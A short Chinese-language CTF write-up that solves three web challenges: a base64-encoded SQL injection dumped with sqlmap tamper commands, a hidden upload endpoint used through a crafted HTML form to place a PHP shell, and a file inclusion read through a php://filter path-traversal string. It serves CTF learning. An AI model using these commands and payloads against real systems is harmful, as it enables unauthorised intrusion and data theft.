CTF考核writeup(1)
在sql注入、檔案上傳和檔案包含問題上,可以學到一些新思路。
sql注入
觀察題目連結,很明顯,存在注入的是id。於是利用sqlmap驗證,但sqlmap的結果卻是“not injectble”:
注意到連結中id值是‘MQ==’。明顯引數是經過base64編碼的,解碼後值為‘1’。
sqlmap中內建了base64編碼指令碼:
sqlmap -u “http://xxx/index.php?id=1” - -tamper base64encode.py - -current-db
發現確實是存在注入的。
接下來用sqlmap,按套路猜解,即可在flag表中找到flag。
選擇一個數據庫猜表
sqlmap. py -u "--" -D demo --tables
選擇一個表猜列
sqlmap.py -u "--" -D demo -T flag --columns
根據列猜資料
sqlmap.py -u "--" -D demo -T flag -C value --dump
關鍵在於引數被base64編碼。tamper目錄中各種指令碼還是很多的。
檔案上傳
檢視題目,沒有找到上傳點。
掃了一下目錄,發現/upload,看這目錄名,一會兒上傳的話應該是要傳到這個目錄下的。
首先想到是不是可以用PUT+COPY,嘗試後發現被禁了。
OPTIONS / HTTP/1.1
User-Agent: xxxx
Host: xxxx
Accept: */*
PUT /test.txt HTTP/1.1
User-Agent: xxxx
Host: xxxx
Accept: */*
既然沒有上傳點,於是自行構造一個form表單。將action指向upload.php。這裡還得要猜對name的值為file。再嘗試從本地表單上傳jpg檔案,提交成功,表明此處確實有上傳功能。這時會發現一個問題,不知道檔案被傳到哪兒了。所以在表單中新增一個隱藏域,將“dir”指定為“/upload/”。
<form action="http://--/upload.php" method="post" enctype= "multipart/form-data" >
<input type="file" name="file" /></p>
<input type="hidden" name="dir" value="/upload/">
<input type="submit"/>
</form>
再次上傳jpg檔案,成功上傳到/upload目錄下。接下來開始考慮上傳phpshell。
嘗試00截斷,失敗。後來發現內容為空的時候直接上傳php檔案竟然成功了。
訪問,即可回顯flag。
檔案包含
首先嚐試能否讀上級目錄,發現./被過濾為malicious parameter,而/../沒有被過濾,所以檢測的只是開頭有沒有.。
這種情況下,利用php偽協議filter,成功包含檔案,讀取flag。
php://filter/resource=../flag